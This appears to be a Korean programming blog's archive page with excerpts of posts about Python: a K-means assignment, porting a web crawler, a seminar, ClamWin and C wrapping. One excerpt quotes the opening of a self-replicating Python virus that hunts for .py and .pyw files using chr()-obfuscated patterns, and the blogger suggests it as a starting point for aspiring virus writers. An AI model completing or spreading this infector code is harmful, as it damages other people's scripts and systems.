Python으로 구현한 K-means 프로그램 공개

뭐 레포트도 넸겠다. 이래저래 가지고 있는것보다 공개하는게 나을거 같아서 공개함. 아래와 같은 숙제 Description이 나왔었고 Input : sample file, KM/LBG, Number of codeword Output : total distortion at each iteration Distortion measure : Euclidian distance Split : z × (1± 0.05) 8메가 정도되는 데이터 파일 이 아래 파일에 동봉되어 있으나 일단 설명하자면.. 한줄에 13개의 float형 […]

계속 읽기

웰빙언어 Python

파이썬을 써보니, 편하더군.. 미병님의 포스팅에 발동이 걸려 또 Python관련글을 써본다. 사실 저번 K-means 클러스터링 알고리즘 숙제를 Python을 이용해서 했다. 도서관에서 알고리즘 분석하고 10메가의 데이터파일을 로딩하고 돌려보기까지 2시간정도밖에 안걸렸다. 그러니까 2시간만에 짜버린것이지. 물론 그당시 숙제의 description이 충분하게 자세히 나오지 않아 1주일 후에 다시 고치긴했지만 한달짜리 숙제제출기간이 잡힌걸 2시간만에 어느정도 해치워버린건 내가 생각해도 대단했다. 물론 이 수업이 […]

계속 읽기

Python 쉘을 계산기로 쓰다

오늘 도서관에 와서 포스팅을 써본다. Machine Learning 공부를 하는데 정보 이론중에 엔트로피 관련된 식이 쓰이는 부분이 나왔다. 밑이 10도 아닌 2인 로그로 계산을 하는 식인데…. 낭패군.. 공학용 계산기가 필요한 찰라 윈도우에 기본적으로 제공되는 계산기로 할라니 밑이 2인 로그를 어떻게 하는지 몰라 난감하던 순간이였다. 갑자기 Python 쉘을 예전에 계산기로 편하게 썼던 경험이 있던걸 생각해낸 순간. 메뉴얼에서 […]

계속 읽기

Python 하면서 가장 신난날..

오늘은 내가 Python을 하면서 가장 보람찬 시간이였다. 단 반나절 만에 리눅스로 웹로봇과 Urlserver 포팅하는데 성공한것이다. 가장 걱정이 된 C 모듈을 임베딩 하는걸 무사히 넘어갈수 있었던게 큰 요인이였던거 같다. 1주후에 Unix서버에 포팅이 있어서 시범적으로 해봤는데 아주 만족이다. 이걸 스크립트 형식으로 배포하지 않고 Freeze라는 툴을 이용해서 실행모듈로 만들어서 마무리를 지었다. 다만 걱정이 되는건 인코딩 문제인데…… 이것도 큰 […]

계속 읽기

Python 흑마법 배우다

저번주 5월 19일날 Python 작은 세미나 모임이 있었다. 거기서 흑마법이라는 섹션강의를 들었다. 역시나 알아서 별루 좋지 않을 그런 내용이였다. 알면 곧 쓸려고 하는 습관때문에 많이 쓰게되면 정신건강에도 해롭고 팀원들간에 불화가 생길수도 있다고 했다. 그래서 흑마법으리고 지칭했는지 모르겠다. 정말 그랬다. 처음엔 로깅하기 편한 모듈 설명으로 시작해서 열심히 메모를 하다가 나중에는 호출 당한 메서드에서 호출한 메서드에 있는 […]

계속 읽기

왜 구글이 Python을 썼는지 이제 알것같다.

Google 프레임웍 Archtecture라는 글에서 구글이 Python을 이용해 웹봇을 만들었다는 이야기를 잠시 언급한적이 있었다. 그때 단지 구글이 Python으로 왜 만들었을까 굉장히 궁금했었다. 그런데 이제는 그 이유를 조금이나마 알것같다. 웹로봇의 속도는 네트웍 속도에 90%이상 로봇의 속도가 좌우가 된다. 실제적으로 내부적인 로직 htmlparser 나 문서 filter같은 경우 input output하는데 얼마 걸리지 않는다 거의 우리가 인지하지 못하는 찰나에 해버린다. […]

계속 읽기

Python virus 소스코드

외국사이트에서 돌아다니는 소스코드다.. 세상에…이건 바이러스가 아니라… 악성코드다… 근데 파이썬으로 바이러스를 제작하려는 사람들.. 이 코드로 시작해 보는것도 좋을듯 싶다. import glob, os os.__file__ Vort3x_ = (__file__) Msg = raw_input(” nn This is a virus! nn Have a nice day nn Peace: nn Vort3x “) CountFile = glob.glob(chr(42)+chr(46)+chr(112)+chr(121)) + glob.glob(chr(42)+chr(46)+chr(112)+chr(121)+chr(119)) for CountFile in CountFile: ReadVirus = open […]

계속 읽기

Python으로 만든 공짜 바이러스 백신

오픈소스 Python 프로젝트 이중에 눈길을 끄는건..ClamWin Free Antivirus라는거다.. 공짜 백신인데… 음… 소스를 보니 입출력단과 인터페이스 부분을 파이썬으로 만들었고. 인터넷 익스플로러 쉘 부분은 C++로 만들거 같다.. 엔진은 인터넷으로 다운받게 되어있는거 같아서 확인하기는 좀 어려울거 같고.. 파이썬의 장점을 잘 살린 프로젝트같군.. 바이러스는 잘 잡히는지안잡히는지 모르겠는데 그런데로 공짜니까 쓸만할거 같다.

계속 읽기

Python 과 C 결합

오늘 참 오랜만에 포인터 놀이를 했다. 오랜만에 해서 그런지 예전의 C언어의 느낌과는 사뭇 다르다는 생각을 했다. 전에 Python을 맥가이버 칼로 비유 했는데 C는 Hammer 정도라고나 할까? 암튼 강력한 언어인거 같다. 오늘 참 많은걸 했다. dll로 되어 있는 문서 filter 모듈내의 함수를 좀 써볼라고 처음에 고생고생하다가 cpp로 filter factory 함수를 만들어 결국 python 랩핑(Wrapping)하는데 성공했다..^^; 퇴근할라고 […]

계속 읽기